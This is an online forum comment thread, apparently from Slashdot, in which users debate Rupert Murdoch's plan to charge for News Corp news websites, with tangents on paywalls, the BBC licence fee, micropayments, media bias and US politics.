Last time I checked a copy of the N.Y. Post was 25 cents. Well 25c is technically charging for a newspaper but that is below the cost of distribution and printing of the paper, not to mention content. In fact, the only purpose for those 25 cents is to ensure the papers are not used for insulation by homeless people, it is nowhere near paying for the running costs of the NY Post paper. The NY Post has hemorrhaged money for as long as Murdoch has owned it.

So Murdoch cannot even charge for content even when selling actual dead tree newspapers. How he thinks he can do it online where everyone is used to getting the news for free I do not know.

Not just fox, remember....

[Fernando Jones]

http://en.wikipedia.org/wiki/List_of_assets_owned_by_News_Corporation

Affirmative Action, of course!

[Anonymous Coward]

Satan belongs to the "damned fallen angel" ethnic group which has been traditionally execrated by our society. It is only just that we now give him a break when considering his application for employment.

paying for crap?

[ushere]

it's bad enough you see it everywhere, but be expected to pay for it as well!?

yeah, but...

[xalorous]

"The increase we have seen in our Wall Street Journal subscription proves to me that the market is willing to pay for that quality."

WSJ might as well be the trade journal for stock market investments. There's a lot of content there, a lot of high quality journalism. Yes, this combination of niche and quality means that a subscription service will work.

Good luck with the rest of the stable of newspapers, I do not think any others are 'best in breed' like WSJ. I could be wrong though...

Race Relations

[Zancarius]

Hey, just because you voted republican doesn't mean you can expect a black man to come over and sort out your mess for free!

Ironically, that statement represents what's wrong with race relations in this country. Instead of being the President of the United States, Obama is a black man first?

I understand you were probably joking, but seriously, can we please put some effort into making a good example for the future and not bring up the color of someone's skin. It shouldn't matter if we agree or disagree or whether he ran on a platform of being the first black president.

Re:This is a good thing

[greyblack]

The american "left wing" and "right wing" are what we in Europe call "right wing" and "extreme fundie religious right-wing".

Thats why we all laugh when you guys call obaMa a socialist.

Re:This is a good thing

[Deanalator]

I would say Obama is more of a Canadian type Socialist.

In general, democrats want the US to be more like Canada (a government that takes care of the people), and republicans want the US to be more like Mexico (run by corporations, and negligible government oversight).

Re:As opposed to sheep reading left wing echo?

[prionic6]

Only the Sith deal in absolutes.

everybody wave:

[markringen]

goodbye Ruppert (c'mon wave!)

So now we have to pay for propaganda ?

[dataxtream]

So he wants us to pay for propaganda? If Murdoch starts charging for content, its a good thing. Most readers will start reading alternate "news" and get a more balanced view of whats going on.

Re:As opposed to sheep reading left wing echo?

[TapeCutter]

Murdoch is pretty far to the left

Compared to who? - Attila the hun?

Re:As opposed to sheep reading left wing echo?

[blackraven14250]

Until someone wants to take away his power. Then he unloads a little portion of his money to reload on power. It's a delicate balancing act.

Re:This is a good thing

[blackraven14250]

Unless they oppose each other. Then, your theory doesn't quite hold up.

Re:As opposed to sheep reading left wing echo?

[Opportunist]

Murdoch is pretty far to the "whatever side I have to go to to make the most money".

Re:As opposed to sheep reading left wing echo?

[TapeCutter]

Over here in Australia Murdoch will happily tell you his worldview is expressed through his media, why not it's his media?

Satan is already frozen

[AliasMarlowe]

The day Fox start reporting actual NEWS is the day Satan goes to work in a snowplow.

According to Dante's Inferno, Satan is frozen in the ice-bound ninth circle of hell. http://en.wikipedia.org/wiki/Inferno_(Dante)#Ninth_Circle

The Nature of the Internet

[Copernicus1234]

Trying to get payed for a internet site is like selling sand in the Sahara desert. Robert Murdoch would love a internet that works the same way as television, where he can buy large parts of the entire business and control the kind of news that makes it to the public. Unfortunately for him, the internet is not controlled by a few large corporations. The best content comes from small, brilliant sites that become popular because they give people what they want. People dont really want Fox News, and Murdock will find this out the hard way once he starts wanting money for it.

Re:Yes

[DamienNightbane]

I used to watch CNN all the time, but after they started fellating Black Jesus every second of every day I blocked them from my TV and switched to Fox.

I'd pay for real news.

[dasmoo]

I wouldn't mind paying for News if it were well reported. The problem with news nowadays is it's very shallowly investigated, because it costs money for any actual reporting. Murdoch doesn't seem to be the kind of guy who can turn this around though, because it's easier to sell tits for $1

The Great Murdoch Firewall

[vorlich]

When you buy the Sun (Scottish Edition) for your 10 to 30pence (depends on their promotion at the time) you get for your money a paper of almost utter hilarity and sarcastic bile that included one of the longest headlines ever (supercaleygoballisticcelticareatrocious) and Deirde's Problem Page. The international news was contained in a single column on the 2nd page. It was the kind of newspaper you read on the bus, train or during your coffee break. It was uncompromising infotainment then (when I was resident in the UK) and I should imagine it still is.

I can see from the Sun's website that their interweb model is not the same - just a lot of chavtastic tv crap.

The problem for the Murdoch empire is that they forgot where newspapers came from.

Newspaper originated from the owners of printing presses who started to print lists of vessels arriving at ports with details of their cargoes. This was indeed news for anyone who wanted to make money from arbritage. Soon traders paid for ads in these papers and then letters (correspondence) from various parts of the world were printed to inform the readers of events that might affect trade. Those newspapers companies were vertically integrated, they owned the printing presses and the newspapers, soon they owned or had command of the logistics systems to deliver them from door to door staff to trucks boats and planes. This created the era of the Press Baron.

While the Murdoch Empire was busy focussing on satellite television they missed the opportunity to accumulate possesions in the web, they failed to buy communications companies or felt it was too low a return for the investment. Yet they knew that print media was in a terminal decline and has been for the past fifty years where newspapers have folded or combined and magazines (especially news magazines) have seen readership dwindle.

One can only guess that these executives are so removed from the physical transaction of buying a newspaper and the somewhat more intangible concept of connecting to the interweb. Ownership of the means of delivery and ad return from cost free added value must have given them sleepless nights, or more likely they decided to ignore what they did not understand.
Now when the paradigm shift is about to render them extinct, they thrash around grasping at straws. What News International are about to create here if they go ahead with this idea, is the Great Murdoch Firewall.
Now if we could only manage to get Associated Newspapers to do the same...http://en.wikipedia.org/wiki/Daily_Mail

Yes, Rupert, Go into the light...

[magnumpc]

There is peace and serenity in the Light. Everybody will pay for all of your content in the Light. Cross over Rupert. All are welcome. All welcome. Royalties and subscriptions are in the Light.

I had NO idea

[hyades1]

Rupert Murdoch has news sites? I thought he did right wing propaganda, self-serving lies and the occasional bare titty.

Re:As opposed to sheep reading left wing echo?

[chris_mahan]

"Perhaps not lemmings, but they certainly are incapable."

There, fixed it for ya.

Re:Thank you Jesus

[Anonymous Coward]

He didn't learn anything from Jesus, just the Gospel writers. Where do you think he got the idea to just publish false information after the fact?

Re:This is a good thing

[Garrett Fox]

The current Republican Party officials, maybe. Conservatives or libertarians, no. Under a free government, politicians have few favors to sell to any bidder.

Re:As opposed to sheep reading left wing echo?

[hebertrich]

Hey i resent this , im from #lemmings and we dont treat people
like that :| Shows how little we are understood. /me goes jump a cliff to cheer himself up

They should charge "news generators"

[jotaeleemeese]

Lets see, nowadays most "news" are nothing but regurgitated press releases from the government or private companies pursuing an agenda.

Newspapers have not explored the possibility to charge people and organizations that want exposure under the guise of informed debate.

The readers are not going to pay, it is that simple.

Will you now, greedy bastard ?

[unity100]

and are you going to pay the people through which you collect the videos & news in iReport ?

your understanding is, take free, but dont give away free eh ?

lets see what will happen to your budding uncensored, unfiltered news innovation ireport after you start to charge for 'your' content. getting news through local citizens from the places impossible for westerners to go in was enjoyable on your side. but when you SCREW UP with this attitude, you will again be reliant on your handful of reporters, instead of millions of citizens.

dinosaur. either keep up with the times, or die already.

Re:This is a good thing

[VJ42]

Unless they oppose each other. Then, your theory doesn't quite hold up.

False dichotomy. There's always a third, fourth or fifth opinion. Just because it's one that major political parties disagree with, doesn't make it wrong. Hell, here in the UK we have more than just the two parties in parliament, and there are still issues that they all get wrong.

Print newspapers are ad-supported too

[asc99c]

When I buy a proper paper like the Telegraph, not much of the money is going to reporters. A telegraph subscription currently costs £5.90 a week - including the Sunday paper with it's masses of sections and magazines. Out of that, they've got to print copies every day of the week, and deliver them to my house 7 days a week. By the time you take out the cost of paper, ink, upkeep of the presses and delivery costs, there isn't exactly a lot left to support an army of journalists.

The journalism is ad-supported, I'm only paying the cost to get the physical media to my door. With the internet, that cost is zero.

The BBC

[glamb]

The trouble with the 'get everybody else to charge' model is that there is the BBC. Which is a publicly (very well) funded body.

The BBC will ALWAYS put news content on-line for free. They see it as a service to countries without access to 'good' news sources. The BBC does not have to make money on-line.

I pay £120 a year in TV license to the BBC so you b@stards can get free news and great documentaries and period drama for free!

Re:The BBC

[Inda]

£120? How did you manage to get it so cheap? I'm paying £142.50

Will this become a **AA "Sue Everyone" strategy?

[Bones3D_mac]

Think before hitting that "submit" button if you used a "paste" command. You might just end up ruining your life like all those 80+ year old music pirates did by daring to use a P2P file sharing service they've never heard of.

Not that he needs any more money

[xednieht]

But the employees do.

The concept of everything for free on the web does not bode well for the future of the web. If value is produced, and that value is consumed, there needs to be cost associated with it so the value can be maintained. Apple tapped into a revenue model for Music, no reason why other digital products can't do the same.

The income generated drives consumption of other goods and services beyond the digital realm.

I am cautiously hopeful...

[Tomsk70]

...that this brings the demise of the dirty digger.

He is, after all, the proprietor of a rag that convinced a not-very-bright woman to try having eight babies at once in exchange for a million pounds. Every doctor in the world said don't do it, just have one or two or you'll lose all of them....but they (and the Sun) went ahead - even printing scans on the front page with headlines saying 'DOING FINE', as if the doctors were all idiots. And what about Piers Moron - so popular over here, he had to go to the U.S. (where no one knew him) to get any interviews - after all, there are only so many blackmail-based 'favours' you can pull in the U.K....

Well, guess what happened to the eight babies - she lost them all. So that's at least one child killed so that Murdoch could sell more newspapers. And that's just ONE story - there are many, many more (Private Eye - the ONLY news mag you need in the UK, is full of this stuff) - most recently, Amy Winehouses' junkie ex-husband - the Sun wanted him strung up for years....until last weeks' exclusive multi-day interview.

But let's ignore the fact that the Sun is staffed and edited by the utter scum-of-the-earth (or 'journalists' as they like to pretend) - the point of all this is that, even sinking to these depths, the circulation of the Sun, Times, et al has been going down for *decades* (hence they get more and more desperate in trying to scare you into buying tomorrows edition) - however, there's so much FREE information that buying a newspaper to read what happened 24 hours ago is laughable.

So I *dearly* hope that Murdope starts charging, I really really do - anything that hastens the death of News International (or anything Murdoch-owned, really) can't come fast enough.

The "Gell-Mann Amnesia Effect"

[ciderVisor]

I have NEVER seen an accurate newspaper article on a subject I was conversant in. Not once. Which leads me to believe they're equally worthless on subjects I'm not conversant in as well.

Michael Crichton says something similar (though you have shown yourself to be an exception) in his speech Why Speculate ?.

"Briefly stated, the Gell-Mann Amnesia effect works as follows. You open the newspaper to an article on some subject you know well. In Murray's case, physics. In mine, show business. You read the article and see the journalist has absolutely no understanding of either the facts or the issues. Often, the article is so wrong it actually presents the story backward-reversing cause and effect. I call these the "wet streets cause rain" stories. Paper's full of them.

"In any case, you read with exasperation or amusement the multiple errors in a story-and then turn the page to national or international affairs, and read with renewed interest as if the rest of the newspaper was somehow more accurate about far-off Palestine than it was about the story you just read. You turn the page, and forget what you know.

"That is the Gell-Mann Amnesia effect. I'd point out it does not operate in other arenas of life. In ordinary life, if somebody consistently exaggerates or lies to you, you soon discount everything they say. In court, there is the legal doctrine of falsus in uno, falsus in omnibus, which means untruthful in one part, untruthful in all.

"But when it comes to the media, we believe against evidence that it is probably worth our time to read other parts of the paper. When, in fact, it almost certainly isn't. The only possible explanation for our behavior is amnesia."

What Murdoch really tried to say ...

[Morgaine]

'The digital revolution has opened many new and inexpensive methods of distribution, but it has not made content free. Accordingly we intend to charge for all our news websites,' Murdoch said.

I think that the poor guy has been misquoted. What he really must have meant was:

'The digital revolution has opened many new and inexpensive methods of distribution, and it has made news free. Accordingly we intend to close down.'

This has a much closer fit with reality.

re: bye, bye

[ed.han]

you know, while it's always fun to question the intelligence of some of these types of news bits, murdoch didn't become as powerful and influential as he did by completely misunderstanding new avenues of monetization. if we were talking about some middle manager, or a senior manager in an unexceptional place, i could see that.

but seriously suggesting that murdoch, who's made his fortune in making news profitable and is the biggest media mogul on the planet, doesn't understand how to monetize news successfully after ahow many years of news sites experiences is to me goofy in the extreme. you might as well suggest that redmond doesn't understand how to market a profitable OS.

ed

How to charge fractions of a cent?

[ztransform]

I realise that I'm commenter number 480+ so it's likely no one will read this. Anyway I've been thinking about this; I'd be quite happy to pay for access to a number of sites if we were talking cents (or pennies) or fractions thereof. Problem is I can't be bothered starting a new subscription agreement, a new password, a new account for every site with which I'd like to interact. The earlier initiatives of one log in for multiple sites would be a great solution if it weren't for our inherent distrust of storing confidential information with one company. But if I could have one log in shared across all fee-charging sites and then selectively allow sites to charge me (like I selectively allow sites to execute javascript on my firefox client) then that is something I'd seriously consider. There's a big difference between charging $1.00 or 70p for a newspaper in cash and requiring a subscription agreement or getting someone to enter their 16 digit credit card number, address, and 3 digit security code every time they wanted to check the latest sports news. So solve the convenience issue. In a way we can feel relatively secure.

Three letters for why you'll fail, Rupert

[Bertie]

BBC.

That's what "positive liberty" means

[tepples]

There is no such thing as "negative" or "positive" liberty. You are mistaking liberty and autonomy, which are related but distinct. Entitlements may increase autonomy, but they don't universally increase liberty

The philosophers I cited used "positive liberty" to refer to autonomy. If you can find reliable sources stating that Fromm and Berlin were wrong in calling autonomy "positive liberty", I'd like to hear about them.

The AP Rejoices

[Spinlock_1977]

This is great news for The Associated Press. Now they don't have to dive off of suicide hill all alone. Splat... splat.

Yeah laugh!

[Hurricane78]

But you know nothing about the psychology of this. I'll tell you a story that started just like this:

There was a time, when every German SMS service on the net was free. They only added 20 characters of advertisement.
We (when I say "we", I mean, that I was a developer who was assigned as a backup for that web service) were very "successful" in that business, because our SMS provider, handy.de, got payed in advertisements on our site! (Or in other words: they payed to be able to pay!)
But then, handy.de got into trouble, and so got our competition. So everyone started offering less SMS per day, with less characters, only if you register, and so on.
Which of course did not help at all.
So pay-only services started to pop up. Often with parallel ad-based, but very restricted, services.
handy.de continued to offer those free SMS. And was the first to declare bankruptcy. Then all the other ad-based services died, were canceled, or offered unreasonable things, like 1000 free SMS a day, in *total*.
Soon there were *only* pay-only services. And they survived. Because the users simply had no other choice than to use them. There were no usable free services left.

The morale of the story: When one person starts it, soon all the others will follow. Maybe the first one or two will die. But in the end, everyone will do it, and nobody offering it for free will be left. Because they have to, and also *because they think that now they can*!
So soon, you may not be left with any free choice. And then you will pay. Or nobody will care.
Because frankly, work *really* is not free!

But I agree that Murdoch, with his low-quality stuff will not survive, if he chooses an unacceptable price. Which right now still is everything above free, for services that you can get for free.
But soon it will be a real money value.

I guess they will go with something totally unrealistic, like $1 per article, when they could still make good money, and have actual paying people, when offering an article for something like $0.001, or even less. (Shhh, don't tell Verizon. It will only confuse them. ;)

Re:This is a good thing

[Shakrai]

The problem with Gerrymandering or redistricting is that the basic concepts behind it is real and needed. It's just that it appears to have been hijacked and given a bad name. Populations grow, people move, and so on. This presents a problem every ten years when we count the population in which one congressional district will end up disproportionally representing people over another. It's back to the old taxation without representation ordeal. If district A now has 10 times as many people and district B now has less people, then the people in A are under represented and the people in B are over represented. Changing district borders around is the way to deal with it but there is no way to do so without appearing to be acting in self interests.

Oh, I know that it's needed and that you could never precisely follow existing political lines. I would just follow them as closely as possible so that the resulting districts were drawn with the intent of keeping communities together and making sure that each district is roughly the same size in population.

When districts wind up looking like this something is wrong. That's my Congressional district. My home town (Binghamton) has nothing in common with the downstate cities that we are lumped in with. My own county winds up being divided to suit a partisan agenda because we lack the political capital to keep our community intact and you wind up seeing stupid nonsense like the thin "corridor" that stretches up to Ithaca solely so they can throw more Democrats into the district to make it impossible for Hinchey to lose re-election.

There's just something wrong when the politician gets to pick his voters. Wasn't it supposed to be the other way around?

News has always been free...

[thisnamestoolong]

...People have never payed for the news. People have, in the past payed for newspapers, they are paying for someone to cut down a tree, transport the tree to a mill, grind the tree into pulp, flatten it out and dry it to make paper, ship the paper to a printer, print out thousands of copies, and then deliver that copy to their front door. That is what a newspaper subscription covers. Barely. The rest (the actual news part of it) is covered by the advertisement. Radio and television news have always been free. The Internet is much more akin to radio or television in distribution costs than print, so there is no reason to charge you for the distribution of the news. Rupert Murdoch is trying to change the game here, a couple hundred years after the invention of news, so that we actually have to pay for news. This has never been done before, and he is a fool for thinking that it will all of a sudden magically work.

Re:As opposed to sheep reading left wing echo?

[Attila Dimedici]

Perhaps you're not understanding what the "echo chamber" he's referring to here is. Regardless of where you fall on the political spectrum, you have to admit that the left wing is simply not organized enough to have an "echo chamber". Perhaps there's a mini-sort of version of it in the meager media offerings of the left-wing, mostly blogs, but certainly nothing that reaches the public at large and definitely nothing on the scale of Fox News/Talk radio.

What are you talking about? A story appears in the NYT, by the end of the day it is on all of the alphabet network news, CNN and MSNBC. The next day it is in most of the major newspapers in the country. Or perhaps you never heard about the group of guys who were members of the Clinton Administration who now work for various "news" organization. These guys have a conference call most mornings to discuss the days news (and their take on it).

And the problem with this is...?

[argent]

Fewer blogs linking to Fox News can only be good for the Internet.

Might want to rethink that.

[Civil_Disobedient]

Everyone clamoring for Free.. that's just not the way the world works.

And yet, somehow television stations were able to miraculously stay in business just giving away their content! Quality programming that took millions of dollars to produce, all those employees that had to be paid, all those corporate offices with their leases... and yet, they just beamed all their hard work into the aether. Absurdity!

I wonder how those guys managed to make a buck.

D'oh - SITH Emperor. I meant the Sith Emperor. :)

[toby]

Long day...

Exactly.

[toby]

And then, after infecting Australia with the tabloid poison, he went on to destroy journalism in the UK, and the rest of the world. What a hero.

Re:Exactly.

[myowntrueself]

And then, after infecting Australia with the tabloid poison, he went on to destroy journalism in the UK, and the rest of the world. What a her

Its gotten so bad that people can't tell the difference between bloggers and journalists any more...

Fear of this working?

[jayme0227]

Is it just me, or is all of this acrimony actually fear of this working? With ownership in major news organizations like the The Times, Wall Street Journal and Fox News, among others, millions already access his sites religiously. Murdoch is a billionaire for a reason, so you know he and his people have done considerable analysis before coming to this decision. I think, deep down, most of you secretly acknowledge that this could actually work, and that fear is driving all of the dismissive comments more than an actual belief that this will fail.

Nobody is clamoring for free

[iamacat]

People are paying to the tune of $100/month for TV+Internet packages. That's a lot of newspaper subscriptions. What everyone is clamoring for is predictable costs, quality assurance and predictable value. Let's say I want to learn more about release of journalists from North Korea. Do you really expect me to limit myself to your newspapers website? Say I use a search engine of my choice and see 20 promising links. Some go to newspapers, some go to blogs. If one link costs $4.95 and the other is free, do you really expect me to pay? Do you really expect me to pay $100 for 20 different newspapers just to follow up on one subject?

What newspaper publishers need to do is get off their butt and come up with a truly interoperable and convenient model of revenue sharing that addresses EVERYTHING - free access for casual browsers vs heavy regular readers, protection of users from extraordinary monthly charges, access for minors and citizens of countries without credit cards or convertible currency, fair use forwarding of and blogging about individual articles, no-questions-asked refunds for unintentional access or disappointing content. For-pay newspapers that are not in the system must be as rare as stores that don't accept Visa.

If this is too hard, well nobody is entitled to run a business except by releasing a product appealing to potential customers.

Re:This is a good thing

[scarboni888]

"The absolute worst thing anybody can do is dehumanize their opposition by calling them sheep or assume that they're not intelligent."

Does that still apply even when it's true?

Re:This is a good thing

[binary paladin]

Yeah, it does. Two extremist (and really, they don't even have to be extremist) factions who hate each other can be completely wrong. Rarely is there a situation in a world as subjective as politics where a question only has two possible answers.

The problem with most political "solutions" is that they treat symptoms directly instead of asking questions like, "How did we come to this?" Whether or not to socialize medicine is one such arena.

"Thanks to TV and for the convenience of TV, you can only be one of two kinds of human beings, either a liberal or a conservative." -- Kurt Vonnegut

rup is confused

[gadabyte]

"Quality journalism is not cheap, and an industry that gives away its content is simply cannibalising its ability to produce good reporting," he said.

so fox news will still be free, since it clearly MUST be cheap, and they long ago cannibalized their ability to produce good reporting.

Here is the model:

[geekoid]

This should be the business model newspapers move to:

1) You are going to need less fluff [pieces in the printed paper. Fluff piece are every where, on every media type. You are no longer going to catch a lot of eyes with them. Unless the point of your business is fluff pieces.

2) You need to be aware of any biases creeping into your companies culture. With the internet, they get exposed fast, so be on top of it.

3) The printed paper is the beginning of stories. Put a more detail story on the internet. The paper grabs them and gives them an overall sense of a story, the internet ads details and facts. Now you are using both forms of media in what they are best for.

4) Follow up on stories. Lets say you ahve a strie on a product recall. A month later have the reporter write a follow-up. It doesn't ahve to be in depth, just the details of the fall out. The bonus of this is that if another story is developing out of it, the reporter is more likely to find it.

5) I should be able to read a story, and there should be links to related stories. You don't need links to everyplace from every page, stop it. It's too busy and distracting.

6) Put the comics on line as well as in the paper. Seriously, the internet gives comic artists a large canvas. Comics are instrumental to getting new readers. My kids love reading the comics every Sunday.

7) Get used to the fact that your revenw will change. If done correctly, it will go up. If you saturated your web comic with half done stories like most news papers have, you will fail.

8) stop raising your print rates to try and compensate for the loss of customers, this is only driving more customers away.

Both these media types can co exists.

This is why

[geekoid]

you should read from several source and support government regulation limiting the number of news agencys that can be owned by an entity.

Ironic that you have a Fox News link in your sig.

I don't think this is necessarily suicide

[Sloppy]

Yes, this will relegate Newscorp to the (relatively!!!) obscure backwaters of the net. I think their popularity and traffic will plummet. But you can make money in the obscure backwaters of the net. Maybe he's thinking it's better to make money as a smalltime operator, than lose money as a bigtime operator. I don't really know exactly who his potential customers would be, but I do think such people really do actually exist.

After all, the net is full of free porn, but somehow porn is still a big business. Somebody's whipping out those credit cards. Enough of them? Beats me. I'm not a marketing guy. Rupert is one. Maybe he's wrong this time, but he's not stupid or none of us would have ever heard of him.

BTW, I think it's hilarious that people are complaining about how crappy Fox News is and how it doesn't measure up to real news. This is so irrelevant that it's not even funny. Fox News supplies something that some types of people eat up. Turn on your TV at "prime time" any night of the week, and you will see crap -- crap that apparently a lot of people watch so that the networks are able to charge their advertisers something for it. Somebody's actually watching the vote-someone-off-this-week game shows, and if you think nobody watches it, then you're as dumb as the people who watch it. If you judge Newscorp/Murdoch as someone in the news business, of course nothing he says makes sense. He's in the selling ads business. And he's thinking of getting into the subscriptions business. If the type of content he hires people to create isn't "news," don't worry about it.

Ads alone aren't enough anymore

[DesScorp]

Maybe they should do some research into ads that don't make me want to kick puppies.

You could make plenty of money on ads at one time, but those days are done. Ad rates are much more competitive now, and the field is stretched much farther on the Internet. "Everything should be free" isn't a way to make money. It was an illusion during the dot com bubble, and it's an illusion now. Even Google, who built their empire on ads, is trying to get away from the overreliance on advertising. They know as well that they can't continue to survive that way. Sooner or later, they'll have paid services as well.

Look at another of Murdoch's properties... the Wall Street Journal. Access to many articles online is available for paid subscribers only (full disclosure: I subscribe to the WSJ). Looking at profit and circulation for national papers, the WSJ has been one of only two newspapers whose circulation is actually increasing, while others are dropping every year, some as much as double digits per year. The Journal has made money every year except one during this decade, again, while other powerhouses like the NY Times have had to resort to things like leasing part of their new building to stay afloat. Murdoch views the websites as part of the paper business model, not separate from them, and he's the one that's been making money. All of his media properties make money, especially Fox. I'd say he's doing something right. In fact, I think much of the industry will follow his model. You'll have less traffic for the paid sites, but more profitability. If people think the content is worth it, they'll pay for it.

Re:Ads alone aren't enough anymore

[default luser]

Look at another of Murdoch's properties... the Wall Street Journal. Access to many articles online is available for paid subscribers only (full disclosure: I subscribe to the WSJ). Looking at profit and circulation for national papers, the WSJ has been one of only two newspapers whose circulation is actually increasing, while others are dropping every year, some as much as double digits per year. The Journal has made money every year except one during this decade, again, while other powerhouses like the NY Times have had to resort to things like leasing part of their new building to stay afloat. Murdoch views the websites as part of the paper business model, not separate from them, and he's the one that's been making money. All of his media properties make money, especially Fox. I'd say he's doing something right. In fact, I think much of the industry will follow his model. You'll have less traffic for the paid sites, but more profitability. If people think the content is worth it, they'll pay for it.

Everyone points to the Journal, and yeah, it makes money - anything THAT targeted to the business market can make money via subscriptions. But you can't assume that just because people will pay good money for Murdoch's business newspapers, they'll pay for the other two-dozen "AP-repeater" newspapers owned by News Corp.

On the internet, wire news is EVERYWHERE. You can't hope to get users to pay for it, because all it takes is one free outlet to send your user base elsewhere. And on the internet, LOCAL news has little value because it's targeted at a very small crumb of total web traffic (that, and people have so many different sources for getting local news).

Further, making a news website that large "for-pay only" is completely untested, despite what Murdoch claims: even WSJ is a hybrid website, with some content free. This allows news aggregators to pick-up some of these top stories and lure-in potential subscribers to WSJ (free advertising). But if you make the entire site for-pay, the articles are less likely to get picked up by major news aggregators, and on the internet that means a slow and painful death.

Is WSJ going to stay a hybrid website, or will it go completely for-pay access?

Re: bye, bye

[Nemyst]

Suggesting that because Murdoch has been successful in the printed news buisness, he will automatically be successful in the online news business (if business there is) is just a fallacy. There is nothing that proves the guy has any understanding of the difference between the Internet and paper news. He just looks utterly lost and trailing behind, trying to keep his empire from falling apart under its own inertia.

What Murdoch probably does not see is that even if ALL the news sites became paid-for, people could still get a lot of their information for free. Who needs regurgitated press releases? You might as well read them yourself. Any "fluff" article usually lacks any sort of depth in old newspapers; blogs, which are mostly built for free as a hobby or which are part of a company's marketing strategy, will give far more insight than any article written by a clueless journalist. What exactly is missing to fill? Critics are a dime a dozen and I'm sure if the large news networks decided to ask for money, some other critics would fill their shoes for free. Oh, I know! You won't have your crosswords and "find the differences" games... Oh, that's sad isn't it?

The largest problem is that, since the very beginning, we have been monetizing information, something which cannot be monetized. Before the advent of the Internet, this was very possible through monetizing the medium that carries the information. However, the Internet changes this. Since anyone with 10 minutes on their hands can now produce any piece of information they want (no more do we need hundreds of hours to copy a book or huge presses to print the papers), information goes back to its free state. It's inevitable.

Re: bye, bye

[Leebert]

murdoch didn't become as powerful and influential as he did by completely misunderstanding new avenues of monetization.

Yeah, I mean, this is the guy who bought MySpace. And look what he's done with it! He is a force to be reckoned with! :)

It's Fox...

[Snarkalicious]

They don't precisely give a rats ass about the average news seeker. They sell to a base, which is largely logging in through Juno (ifyanowadimeen) and willing to buy anything that spews out of Glen Beck's mouth. And they will. Their traffic numbers might drop, but I predict their revenue will hold even, if not increase, giving a few months lee for adoption of the new model by an EXTREMELY loyal customer base. The bullshit in those chain e-mails has gotta come from somewhere, after all. Now, trying to charge for their non-news media...that'd be teh crazy.

Freedom of Information? What?

[DesScorp]

"So what you seem to be advocating is a move to a world with even less freedom of information than we had two decades ago."

They're not in the "freedom of information" business. They're a for-profit business. They sell. They're not a charity. What' you're essentially arguing for is a kind of socialism of information. That's not what they do. They're here to make money. They're not interested in your revolution. Contrary to the revolutionary slogans, "information wants to be free" is utopian claptrap. More information will be free, but the glorious paradise where we have to pay for nothing is never coming. As I mentioned earlier, ads alone won't get it anymore. Even the Internet advertising powerhouses... Google, etc... are moving away from the ads-only model to more paid services. You can say "information wants to be free" all you like, but people want to be paid.

Re: bye, bye

[geekoid]

Actually, he jumped into an already established avenues of revenue generation. Yes, he made a lot of money, and gamed it but it wasn't a new way of doing things.
There is no evidence he has every made a penny on new forms of revenue generation.

His statements in the last few years certianly imply he is clueless about the internet and how people use it.

He might be saying this to keep stocks high for a while as he tries to get out. I cans ee that, and it would be the second smartest thing.
If he was good at exploring new revue opportunities, then he would use the physical and internet media together. I listed some more details in a previous post.

Bear in mind, one of Murdoch's goals is to push his agenda through controlled media outlets. I suspect it's the wide competition to actual facts that keeps him up at night.. plus I suspect sleeping on a pile money isn't really the comfortable~

I would argue the MS doesn't know how to market a profitable OS in a market it doesn't have dominance in.

Bring on the agendas

[bill_mcgonigle]

The mainstream broadcast media has their problems, and certainly biases, but nobody else in broadcast media working on an out-and-out agenda at the scale that Fox works.

It's too bad. We'd all be better off if they were all out-front with their agendas.

I used to worry about picayune shades of meaning in how a story was analyzed, until I realized that the real agenda is to be had in what is reported and not reported.

As an example, a few years ago I was driving between jobs at noon with the talk station on, and CNN Radio News was reporting that Sandy Berger had been apprehended coming out of the National Archives for unauthorized removal of materials. Next story.

My thought was, "c'mon, give the guy a break, he probably left a paper in his briefcase, an innocent mistake."

Rush Limbaugh came on right after the news and lead off with "Sandy Berger has been caught with classified documents stuffed down his pants and in his socks." Having heard the 'real' story, I thought, "there goes Rush again with his hyperbole."

Until I got back to the office a few hours later and read Google News, and realized that it was actually CNN that was derelict in its duty to report the facts. Checking back on the CNN website, their story at the time still did not reflect the nature of the crime. Only much later, when it was on all the other news channels, did they update.

Huh.

[tthomas48]

Didn't know they had any "news" sites. This sounds like a great plan though. Fox News aficionados are not exactly known for their strong minds. I'm sure they'll be more than happy to pay for their "news".

And the rest of us won't have to be bothered with links to their content anymore. Win-win all round.

I guess...

[frank_adrian314159]

... if you're stupid enough to get your news from Murdoch's websites, you're stupid enough to pay for them.

Hope for Humanity

[iyntsiannaistnyi]

This news item is oddly refreshing. It's because of my fellow netizens that, for once, I am not at all worried about what this might portend for the future. Seriously, if people don't want to pay for music, what makes anyone think that news media will be any different? In news, there is even less of an inherent monopoly regarding the content's source, and it's even easier to transmit on a whim, for free (gratis). Sure, Murdoch will end up making some money, but I expect this is a flawed business model, and it is certainly Yet Another desperate attempt at recovering the information/entertainment-distribution status quo.

Too bad

[Redlite]

I actually like Fox news, but this is an idiotic move.

Re:Thank you Jesus

[MillionthMonkey]

they probably would make a special report day how the world got better once after the death of this communist hippie.

"Today's crime news: a gang of three thieves was executed, including their communist ringleader. Pontus Pilate could not be reached for comment, although Pharisees on the scene commented that thievery was a serious problem and these crucifixions would prove to be a benefit to the local community. And back to you, Bathsheba!"

"Thanks for that story.. why can't people behave... tsk tsk..."

Hello?

[Petrini]

I sense some cognitive dissonance here. You say, "[H]aving newspapers that are controlled by a wealthy megacorp oligarchy is the exact opposite of [an informed citizenry]. And your sig says, "This video reveals Obama's Real Agenda in his own words" with a link to... foxnews.
 
It looks like you're trying to inform the citizenry by sending them to news controlled by a wealthy megacorp oligarchy. Maybe I'm missing something. It's early.

Re:This is a good thing

[motherpusbucket]

Have to agree somewhat with this post. There is a lot of flamebait on this whole article. It's really tiresome. People are using it for their personal 'soapbox' on left/right views.
Yawn

Re: bye, bye

[Chris Burke]

but seriously suggesting that murdoch, who's made his fortune in making news profitable and is the biggest media mogul on the planet, doesn't understand how to monetize news successfully after ahow many years of news sites experiences is to me goofy in the extreme. you might as well suggest that redmond doesn't understand how to market a profitable OS.

Actually, you might as well suggest that redmond doesn't understand how to market non-OS non-office software outside their traditional markets. And MS has a very spotty record in that regard. A few shining successes but many, many failures.

So, yeah. Murdoch makes fat bank in print and television news -- that's his Windows and Office. He apparently is finding it very hard to continue to make money in print -- akin to Microsoft no longer finding Windows profitable and struggling to find a new revenue source of equal magnitude to replace it. Would you assume they can do that, when they've been trying and failing for decades?

